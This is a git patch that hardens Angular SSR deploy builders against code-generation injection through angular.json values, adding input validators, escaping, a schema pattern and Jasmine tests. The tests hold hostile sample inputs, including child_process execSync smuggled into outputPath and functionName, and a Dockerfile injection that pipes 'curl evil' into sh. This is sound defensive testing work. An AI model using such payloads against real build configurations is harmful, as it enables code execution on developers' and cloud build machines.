From 168dc9310ad3c43c7124d0cea58b468b32ac4c0b Mon Sep 17 00:00:00 2001 From: Herdiyan Adam Putra Date: Tue, 18 Aug 2026 19:38:57 +0700 Subject: [PATCH] fix(deploy): prevent code-generation injection from angular.json values The SSR deploy builders interpolate several angular.json values into generated artifacts that are later executed: a server build target's outputPath into the Cloud Function index.js and the package.json start script, functionName into the exports assignment, region into the .region() call, and functionsNodeVersion into the Cloud Run Dockerfile FROM line. outputPath, functionName and functionsNodeVersion are screened before code generation (assertSafeOutputPath, assertSafeFunctionName, assertSafeNodeVersion); region is escaped structurally with JSON.stringify in the template. functionName is only screened on the Functions path, where it becomes a JavaScript identifier. assertSafeOutputPath also rejects whitespace and glob characters, which the shell running the generated start script would split or expand, and a leading dash, which node would read as a flag. The functionName and region schema patterns are left to #3726, which already carries stricter versions of both. The functionsNodeVersion schema pattern stays here; a plain version is the only shape either path accepts, since firebase-tools resolves engines.node to a nodejs runtime and Cloud Run uses the value as a node:-slim image tag. The TODO above the gcloud calls is restored in narrowed form, covering the values that are still unvalidated: firebaseProject, vpcConnector, and the outputPath deploy option. --- src/schematics/deploy/actions.jasmine.ts | 158 ++++++++++++++++++- src/schematics/deploy/actions.ts | 53 +++++++ src/schematics/deploy/functions-templates.ts | 2 +- src/schematics/deploy/schema.json | 3 +- 4 files changed, 213 insertions(+), 3 deletions(-) diff --git a/src/schematics/deploy/actions.jasmine.ts b/src/schematics/deploy/actions.jasmine.ts index eef66be7b..c056f5166 100644 --- a/src/schematics/deploy/actions.jasmine.ts +++ b/src/schematics/deploy/actions.jasmine.ts @@ -1,9 +1,10 @@ /* eslint-disable @typescript-eslint/no-empty-function */ import { join } from 'path'; +import { Script } from 'vm'; import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect'; import { JsonObject, logging } from '@angular-devkit/core'; import { BuildTarget, DeployBuilderSchema, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces'; -import deploy, { assertSafeDependencyName, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToFunction, findPackageVersion, processHost } from './actions.js' +import deploy, { assertSafeDependencyName, assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToCloudRun, deployToFunction, findPackageVersion, processHost } from './actions.js' import 'jasmine'; let context: BuilderContext; @@ -429,3 +430,158 @@ describe('deploy input validation (command-injection hardening)', () => { }); }); }); + +describe('deploy codegen input validation (injection hardening)', () => { + describe('assertSafeOutputPath', () => { + ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => { + it(`allows the valid outputPath "${p}"`, () => { + expect(assertSafeOutputPath(p, 'proj:server')).toBe(p); + }); + }); + + [ + `x'); require('child_process').execSync('id'); ('`, + 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b', '-rf', + // Whitespace and globs cannot chain a command, but the generated start script + // (`node /main.js`) is run through a shell, which splits on the space and + // expands the glob before node sees the path. + 'dist/x --experimental-flag', 'dist/*', 'dist/?pp', 'dist\tserver', + ].forEach((p) => { + it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => { + expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/); + }); + }); + }); + + describe('assertSafeNodeVersion', () => { + [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => { + it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow(); + }); + }); + + ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => { + it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/); + }); + }); + }); + + describe('assertSafeFunctionName', () => { + [undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => { + it(`allows the valid functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow(); + }); + }); + + [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => { + it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/); + }); + }); + }); +}); + +// These drive the builders end-to-end so the protection cannot be silently dropped: +// every assertSafe* call site in deployToFunction / deployToCloudRun is covered by a spec +// here that fails if that call is removed, rather than only exercising the validators in +// isolation. That includes the static build target, whose outputPath only ever reaches the +// filesystem and so has nothing exploitable to assert beyond the rejection itself. +describe('deploy codegen hardening is wired into the builders', () => { + beforeEach(() => initMocks()); + + const withOutputPaths = (staticOutputPath: string, serverOutputPath: string) => ((target: Target) => { + if (target.target === 'build') { return { outputPath: staticOutputPath }; } + if (target.target === 'server') { return { outputPath: serverOutputPath }; } + return undefined; + }) as unknown as BuilderContext['getTargetOptions']; + + const withServerOutputPath = (outputPath: string) => withOutputPaths('dist/browser', outputPath); + const withStaticOutputPath = (outputPath: string) => withOutputPaths(outputPath, 'dist/server'); + + const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`; + + it('deployToFunction rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a hostile static outputPath', async () => { + context.getTargetOptions = withStaticOutputPath(EVIL_PATH); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a server outputPath that starts with a dash', async () => { + context.getTargetOptions = withServerOutputPath('-rf'); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a functionName that is not a plain identifier', async () => { + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` }, + undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionName/); + }); + + it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => { + const spy = spyOn(fsHost, 'writeFileSync'); + const region = `us-central1'); require('child_process').execSync('id'); ('`; + await deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, region }, undefined, fsHost + ); + const indexJs = spy.calls.argsFor(1)[1] as string; + expect(indexJs).toContain(`.region(${JSON.stringify(region)})`); + // The payload survives only as data inside a string literal: compiling the source + // (without running it) still parses, so nothing broke out of the literal. + expect(() => new Script(indexJs)).not.toThrow(); + }); + + it('deployToCloudRun rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToCloudRun rejects a hostile static outputPath', async () => { + context.getTargetOptions = withStaticOutputPath(EVIL_PATH); + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => { + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); + }); + + it('deployToCloudRun rejects a hostile functionsNodeVersion before touching the output directory', async () => { + const removeSpy = spyOn(fsHost, 'removeSync'); + const copySpy = spyOn(fsHost, 'copySync'); + const writeSpy = spyOn(fsHost, 'writeFileSync'); + + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); + + expect(removeSpy).not.toHaveBeenCalled(); + expect(copySpy).not.toHaveBeenCalled(); + expect(writeSpy).not.toHaveBeenCalled(); + }); +}); diff --git a/src/schematics/deploy/actions.ts b/src/schematics/deploy/actions.ts index 56a81692a..45fc6ef8b 100644 --- a/src/schematics/deploy/actions.ts +++ b/src/schematics/deploy/actions.ts @@ -65,6 +65,47 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record; const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&'); +// A build target's outputPath (from angular.json's architect...options) +// is interpolated raw into generated Cloud Function source (`require('.//main')`) +// and into the generated package.json start script (`node /main.js`), both of which +// are later executed. Reject values carrying quotes, backslashes, newlines or shell +// metacharacters, which could break out of that string literal or chain a command; reject +// whitespace and glob characters, which the shell running the start script would split or +// expand before node sees the path; and reject a leading dash, which `node /main.js` +// would read as a flag. +export const assertSafeOutputPath = (outputPath: string, targetName: string): string => { + if (/['"`\\\s;$&|<>(){}*?]/.test(outputPath) || outputPath.startsWith('-')) { + throw new SchematicsException( + `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.` + ); + } + return outputPath; +}; + +// functionName is interpolated raw into the generated Cloud Function source as the +// `exports.` assignment target (functions-templates.ts), which is executed when the +// function loads. Allow only a plain JavaScript identifier so it cannot introduce further +// statements; this also turns a name that would silently produce an unparseable file (for +// example one containing a dash) into an explicit error. +export const assertSafeFunctionName = (functionName: string | undefined): void => { + if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) { + throw new SchematicsException( + `Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.` + ); + } +}; + +// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line +// (`FROM node:-slim`), executed during the Cloud Run container build. Restrict it +// to a plain version so it cannot inject extra Dockerfile instructions. +export const assertSafeNodeVersion = (version: string | number | undefined): void => { + if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) { + throw new SchematicsException( + `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.` + ); + } +}; + const moveSync = (src: string, dest: string) => { copySync(src, dest); removeSync(src); @@ -249,6 +290,7 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -256,11 +298,13 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut); + assertSafeFunctionName(options.functionName); const functionName = options.functionName || DEFAULT_FUNCTION_NAME; const newStaticOut = join(functionsOut, staticBuildOptions.outputPath); @@ -401,6 +445,7 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -408,6 +453,11 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); + // Checked here, alongside the outputPath screens, rather than next to the Dockerfile it + // guards: everything below wipes and refills the output directory, so rejecting late + // would leave that directory half-written before throwing. + assertSafeNodeVersion(options.functionsNodeVersion); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); @@ -473,6 +523,9 @@ export const deployToCloudRun = async ( if (cloudRunOptions.timeout) { deployArguments.push('--timeout', cloudRunOptions.timeout.toString()); } if (cloudRunOptions.vpcConnector) { deployArguments.push('--vpc-connector', cloudRunOptions.vpcConnector); } + // TODO validate firebaseProject, vpcConnector, and the outputPath deploy option both to + // limit errors and opp for injection + context.logger.info(`📦 Deploying to Cloud Run`); await spawnAsync('gcloud', buildCloudRunBuildsSubmitArgs(cloudRunOut, serviceId, options)); await spawnAsync('gcloud', buildCloudRunDeployArgs(serviceId, options, deployArguments)); diff --git a/src/schematics/deploy/functions-templates.ts b/src/schematics/deploy/functions-templates.ts index b7af2a3b1..099409336 100644 --- a/src/schematics/deploy/functions-templates.ts +++ b/src/schematics/deploy/functions-templates.ts @@ -47,7 +47,7 @@ require("firebase-functions/logger/compat"); const expressApp = require('./${path}/main').app(); exports.${functionName || DEFAULT_FUNCTION_NAME} = functions - .region('${options.region || DEFAULT_FUNCTION_REGION}') + .region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)}) .runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)}) .https .onRequest(expressApp); diff --git a/src/schematics/deploy/schema.json b/src/schematics/deploy/schema.json index ae0b88968..2f4f6b74a 100644 --- a/src/schematics/deploy/schema.json +++ b/src/schematics/deploy/schema.json @@ -56,7 +56,8 @@ }, "functionsNodeVersion": { "oneOf": [{ "type": "number" }, { "type": "string" }], - "description": "Version of Node.js to run Cloud Functions / Run on" + "pattern": "^\\d+(\\.\\d+)*$", + "description": "Version of Node.js to run Cloud Functions / Run on, e.g. 22. A plain version, not a semver range: on Cloud Functions this becomes the engines.node field, which firebase-tools resolves to a nodejs runtime, and on Cloud Run it becomes the node:-slim image tag." }, "CF3v2": { "type": "boolean",